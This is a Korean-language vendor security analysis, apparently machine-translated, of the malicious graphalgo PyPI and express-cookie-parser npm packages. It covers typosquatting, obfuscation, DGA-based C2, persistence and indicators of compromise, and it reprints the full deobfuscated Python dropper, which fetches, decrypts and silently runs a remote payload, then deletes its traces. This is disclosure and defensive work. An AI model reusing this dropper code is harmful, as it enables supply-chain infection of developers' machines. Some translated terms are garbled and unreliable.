2025년 소프트웨어 공급망 공격 - 악성 패키지 - 악성 파이썬 패키지 - 악성 npm 패키지

2025년 소프트웨어 공급망 공격에 대한 심층 분석: PyPI 및 npm 캠페인 비교

Xygeni는 최근 2025년 소프트웨어 공급망 공격 양상에서 우려스러운 패턴을 발견했습니다.두 가지 인기 패키지 관리자에서 등장했습니다. PyPI npm저희는 지속적인 위협 정보 수집 활동의 일환으로,Xygeni의 악성코드 조기경보(MEW) 해당 도구는 이전에 다른 레지스트리에 업로드된 악성 패키지와 구별되지만 방법론적으로 유사한 사례를 식별했습니다. 이 사례는 위협 행위자들이 생태계 전반에 걸쳐 공격 기법을 진화시키고 재사용하는 방식을, 특히 다음과 같은 경로를 통해 보여주는 중요한 사례입니다. 악성 Python 패키지 악성 npm 패키지이는 악성 패키지가 오픈 소스 공급망에 침투할 위험을 증가시킵니다.

Xygeni의 MEW: 공통점 찾기

Xygeni의 MEW 도구는 악성 패키지, 특히 2025년 소프트웨어 공급망 공격과 관련된 패키지를 오픈 소스 레지스트리에 게시되는 즉시 탐지하고 표시하도록 설계되었습니다. 이 도구는 새로운 패키지를 분석하여 의심스러운 동작을 찾아냅니다.

이 경우, 두 가지를 식별했습니다. 악성 Python 패키지 (graphalgo PyPI에서) 및 악성 npm 패키지 (express-cookie-parser npm에서 확인하세요.

소프트웨어 공급망 공격에 사용되는 악성 Python 및 npm 패키지 (2025년)

경보를 발생시킨 공통적인 특징들을 살펴보겠습니다.

오타 스쿼팅

둘 다 기존의 인기 있는 패키지를 모방하려고 했습니다.

  • 그래프알고(PyPI)"그래프와 네트워크를 생성하고 조작하기 위한 파이썬 패키지입니다."사용자 이름이 로 업로드되었습니다" “래리테크” 2025년 6월 13일, 이 패키지는 원래의 악의적이지 않은 graphalgo 프로젝트(이후 graphdict로 이름 변경)의 PyPi 대안으로 소개되었습니다.
  • express-cookie-parser (npm)이 패키지는 잘 알려진 cookie-parser 패키지를 모방했으며, 심지어 그 패키지의 동작 방식까지 그대로 따라했습니다. README.md. 그러한 사칭은 기존의 신뢰를 악용하는 고전적인 수법입니다.

은폐는 첫 번째 방어선이다

두 패키지 모두 원본 파일 내에 악성 코드를 난독화했습니다. 그래프알고난독화된 코드는 다음에서 발견되었습니다. /utils/load_libraries.py. 의 경우 익스프레스 쿠키 파서, cookie-loader.min.js 난독화된 페이로드가 포함되어 있었습니다.

이러한 초기 난독화 계층은 일반적으로 간단한 검사 및 정적 분석을 방해하기 위해 사용됩니다. 난독화 방식은 ZLib 압축을 반복하고 Base64로 인코딩하는 비교적 단순한 방식이었습니다. 이러한 유형의 난독화는 소프트웨어가 자신의 동작을 숨기려 한다는 것을 분명히 보여줍니다. 다른 증거들과 함께 이러한 점을 통해 Xygeni MEW는 해당 패키지를 잠재적 악성 소프트웨어로 분류할 수 있었습니다. 확인 단계에서 저희 검토자들은 즉시 난독화 해제 스크립트를 준비하여 명백히 악의적인 드로퍼 단계를 드러냈습니다.

다단계 페이로드 전달 및 공유 출발점

두 패키지 모두 초기 " 역할을 했습니다.점 적기,” 실제 탑재물을 위한 무대를 마련했습니다. 그들은 공통의 외부 "를 공유했습니다.파일 URL:
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example

이처럼 동일한 외부 시드 파일은 위협 행위자가 동일 인물일 가능성을 강력하게 시사합니다. 흥미롭게도 이 시드 파일의 내용은 단순한 환경 변수(예: JWT_SECRET, PORT)로 구성되어 있어 실제 기능을 파악하기 어렵게 만들 수 있습니다.

DGA를 사용한 동적 C2 해상도

이러한 악성 패키지에서 관찰되는 정교한 전술 중 하나는 도메인 생성 알고리즘(DGA)을 사용하여 명령 및 제어(C2) 서버를 동적으로 확인하는 것입니다. 2025년경 고도화된 소프트웨어 공급망 공격에서 흔히 볼 수 있는 이 기법은 시드 파일 내용에서 파생된 SHA256 해시와 다른 하드코딩된 값을 결합합니다. 이렇게 함으로써 C2 인프라가 자주 변경되어 기존의 블랙리스트 방식이 훨씬 덜 효과적이게 됩니다. 이 경우 npm 변종은 고정된 값을 사용했습니다. 496AAC7E DGA(미국 의약품 규제법)의 논리에 따라.

지속성 확립

두 공격자 모두 감염된 시스템에 지속적인 영향력을 행사하려 했습니다. 그들의 전략은 파일을 드롭하는 것을 포함했습니다. startup.py (PyPi의 경우) 또는 startup.js (npm의 경우) 다양한 운영 체제(Windows, Linux, macOS)에서 공통으로 사용되는 Google Chrome 사용자 데이터 디렉터리에 저장됩니다.

실행 후 정리 작업

흔적을 최소화하기 위해 두 악성 스크립트 모두 정리 작업을 수행했습니다. 여기에는 초기 드로퍼 파일 삭제가 포함되었습니다.load_libraries.py, cookie-loader.min.js) 및 합법적인 패키지 파일 수정(__init__.py, index.js삭제된 구성 요소에 대한 참조를 제거하려면 다음을 수행하십시오.

악성 파이썬 및 npm 패키지의 침해 지표

  • PyPI 패키지: graphalgo (larrytech에서 2025년 6월 13일 발행)
  • npm 패키지: express-cookie-parser (구체적으로 버전 1.4.12)
  • 공유 시드 URL에 대한 액세스

https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example

  • 영구 파일 이름: startup.py (파이썬) startup.js (자바스크립트)
  • 공통 영구 경로(운영체제에 따라 다름): Google Chrome 사용자 데이터 디렉터리 내 (예: AppData\Local\Google\Chrome\UserData\Scripts\ 윈도우에서, ~/.config/google-chrome/Scripts/ 리눅스 등에서).

2025년 소프트웨어 공급망 공격에서 악성 패키지로부터 방어하는 방법

개발자를 위한 권장 접근 방식

이번 사건은 2025년 소프트웨어 공급망 공격의 진화하는 위협 환경을 보여주는 중요한 사례 연구입니다. 악성 Python 패키지와 악성 npm 패키지가 어떻게 신뢰할 수 있는 생태계에 침투하여, 너무 늦을 때까지 탐지를 피해갈 수 있는지를 보여줍니다. 따라서 조기 탐지, 스마트 툴링, 그리고 사전 예방적인 시스템 관리는 이제 모든 안전한 DevOps 워크플로의 필수 요소입니다. 개발자는 다음 사항을 고려해 보시기 바랍니다.

의존성 검토

프로젝트에 다음 내용이 포함되어 있다면 그래프알고 or 익스프레스 쿠키 파서그러므로 이들을 해임하는 것이 현명할 것입니다.

  • PyPI의 경우: pip uninstall graphalgo
  • npm의 경우: npm uninstall express-cookie-parser

시스템 위생

종합적인 시스템 검사를 실시하는 것을 고려해 보세요. 또한 크롬 사용자 데이터 디렉터리 경로에서 예상치 못한 항목이 있는지 수동으로 확인하는 것도 좋습니다. startup.py or startup.js 파일.

선제적 보안 조치

  • 새로운 의존성을 평가하세요: 새로운 패키지를 통합하기 전에 철저히 평가하는 루틴을 수립하고, 특히 익숙하지 않은 퍼블리셔의 패키지에 집중하십시오.
  • 보안 도구 통합Xygeni의 MEW와 같은 도구 및 기타 소프트웨어 구성 분석 도구(SCA이러한 솔루션은 의심스러운 행동과 취약점을 식별함으로써 중요한 방어 계층을 제공할 수 있습니다.
  • 최소 권한최소 권한 원칙에 따라 개발 환경을 운영하면 보안 침해의 잠재적 영향을 제한하는 데 도움이 될 수 있습니다.
  • 네트워크 인지아웃바운드 네트워크 트래픽을 모니터링하여 비정상적인 연결을 감지하면 DGA에서 생성된 C2 통신을 발견할 수 있는 경우가 있습니다.

주요 구성 요소 load_libraries.py (graphalgo에서 가져옴)

import os
import sys
import subprocess
import base64
import hashlib
import time
from urllib.request import urlopen, Request

url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU="
remove_url = base64.b64decode(url_b64).decode()

python_path = sys.executable

def download_remote_content(url, output_path):
    try:
        req = Request(url, headers={"User-Agent": "Mozilla/5.0"})
        with urlopen(req) as response, open(output_path, "wb") as out_file:
            if response.status != 200:
                print(f"Failed to download the file. Status code: {response.status}")
                return False
            data = response.read()
            out_file.write(data)
        return True
    except Exception as e:
        print(f"Download failed: {e}")
        return False

def run_process(path_to_script, params=[]):
    if sys.platform.startswith("win"):
        creationflags = subprocess.CREATE_NO_WINDOW
        subprocess.Popen(
            [sys.executable, path_to_script, *params],
            creationflags=creationflags,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL
        )
    else:
        subprocess.Popen(
            [sys.executable, path_to_script, *params],
            start_new_session=True,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            close_fds=True
        )


def get_output_file_path():
    py_file_path = None

    home_dir = os.path.expanduser("~")
    platform = os.sys.platform

    if platform.startswith("win"):
        py_file_path = os.path.join(home_dir, "AppData", "Local", "Google", "Chrome", "User Data")
    elif platform.startswith("linux"):
        py_file_path = os.path.join(home_dir, ".config", "google-chrome")
    elif platform == "darwin":
        py_file_path = os.path.join(home_dir, "Library", "Application Support", "Google", "Chrome")

    if not os.path.exists(py_file_path):
        if platform.startswith("win"):
            py_file_path = os.path.join(home_dir, "AppData", "Local")
        elif platform.startswith("linux"):
            py_file_path = os.path.join(home_dir, ".config")
        elif platform == "darwin":
            py_file_path = os.path.join(home_dir, "Library", "Application Support")

    # Ensure base directory exists
    os.makedirs(py_file_path, exist_ok=True)

    script_path = os.path.join(py_file_path, "Scripts")
    os.makedirs(script_path, exist_ok=True)

    py_file_path = os.path.join(script_path, "startup.py")
    return py_file_path

def remove_self():
    # Remove this script file
    os.remove(__file__)

    # Remove \'graph_settings.py\' in the same directory
    graph_settings_path = os.path.join(os.path.dirname(__file__), "graph_settings.py")
    if os.path.exists(graph_settings_path):
        os.remove(graph_settings_path)

    # Modify \'../classes/digraph.py\' if it exists
    graph_file_path = os.path.join(os.path.dirname(__file__), "..", "classes", "digraph.py")
    graph_file_path = os.path.abspath(graph_file_path)  # Normalize path

    init_file_path = os.path.join(os.path.dirname(__file__), "__init__.py")
    init_file_path = os.path.abspath(init_file_path) # Normalize path

    # replace content of the __init__.py file
    if os.path.exists(init_file_path):
        with open(init_file_path, \'r\', encoding=\'utf-8\') as file:
            file_content = file.read()

        updated_content = file_content \\
            .replace("from networkx.utils.graph_settings import *", "") \\
            .replace("from networkx.utils.load_libraries import *", "")

        with open(init_file_path, \'w\', encoding=\'utf-8\') as file:
            file.write(updated_content)        

    # replace content of the __init__.py file
    if os.path.exists(graph_file_path):
        with open(graph_file_path, \'r\', encoding=\'utf-8\') as file:
            file_content = file.read()

        updated_content = file_content \\
            .replace("nx.utils.graph_settings.init_graph(self.graph, attr)", "") \\

        with open(graph_file_path, \'w\', encoding=\'utf-8\') as file:
            file.write(updated_content)

def simple_shift_encrypt(text, password):
    key = int(hashlib.sha256(password).hexdigest(), 16)
    encrypted_bytes = bytes([(ord(char) + (key % 256)) % 256 for char in text])

    return base64.encode(encrypted_bytes).decode()

def simple_shift_decrypt(encoded_text, password):
    key = int(hashlib.sha256(password).hexdigest(), 16)
    encrypted_bytes = base64.b64decode(encoded_text)
    decrypted = \'\'.join([chr((b - (key % 256)) % 256) for b in encrypted_bytes])

    return decrypted

def load_libraries(key):
    max_retry_count = 3
    output_file_path = get_output_file_path()
    encoded = "6PT08PO6r6/j7+Tl8O/v7K7j7O/15K/w9eLs6eOv8/Th8vT18K7w+b/25fK9sa6ypvT58OW97e/k9ezl"

    for _ in range(max_retry_count):
        if not download_remote_content(remove_url, output_file_path):
            time.sleep(2)
            continue

        download_url = ""
        with open(output_file_path, "rb") as f:
            file_content = f.read()
            sha256_hash = hashlib.sha256()
            sha256_hash.update(file_content + key.encode())
            password = sha256_hash.digest()

            download_url = simple_shift_decrypt(encoded, password)
       
        if not download_url or not download_remote_content(download_url, output_file_path):
            time.sleep(2)
            continue

        os.chmod(output_file_path, 0o755)
        run_process(output_file_path)

        time.sleep(1)
        remove_self()
        break

if __name__ == "__main__":
    if len(sys.argv) >= 2:
        load_libraries(sys.argv[1])

  • download_remote_content(): 지정된 URL에서 파일을 가져오는 작업을 처리합니다.
  • run_process()외부 파이썬 스크립트를 독립적으로 실행하고 출력을 억제하여 눈에 띄지 않도록 합니다.
  • get_output_file_path(): 영구적으로 실행되는 startup.py 파일의 이상적인 시스템 위치를 결정합니다.
  • remove_self()초기 악성 파일 및 패키지 수정 사항에 대한 실행 후 정리 작업을 총괄합니다.
  • simple_shift_encrypt() / simple_shift_decrypt()DGA 구현에 필수적인 통신 채널을 숨기기 위한 맞춤형 암호화 기능.
  • load_libraries(): 초기 다운로드부터 최종 페이로드 실행 및 정리까지 전체 다단계 프로세스를 조정하는 핵심 기능입니다.

여파

MEW에서 잠재적으로 악성 패키지로 식별된 다른 사례와 마찬가지로, 종속성 방화벽은 해당 악성 패키지를 종속성에 포함시키는 사용자를 즉시 ​​보호했습니다. 확인 후, 두 레지스트리에 대한 알림 절차를 따랐고, 검토를 거쳐 두 패키지 모두 삭제되었습니다.

sca-tools-software-composition-analysis-tools
소프트웨어 위험을 우선순위화하고, 해결하고, 보호하십시오.
무료 계정을 만드세요.
신용 카드가 필요하지 않습니다.

소프트웨어 개발 및 제공을 안전하게 보호하세요

Xygeni 제품군과 함께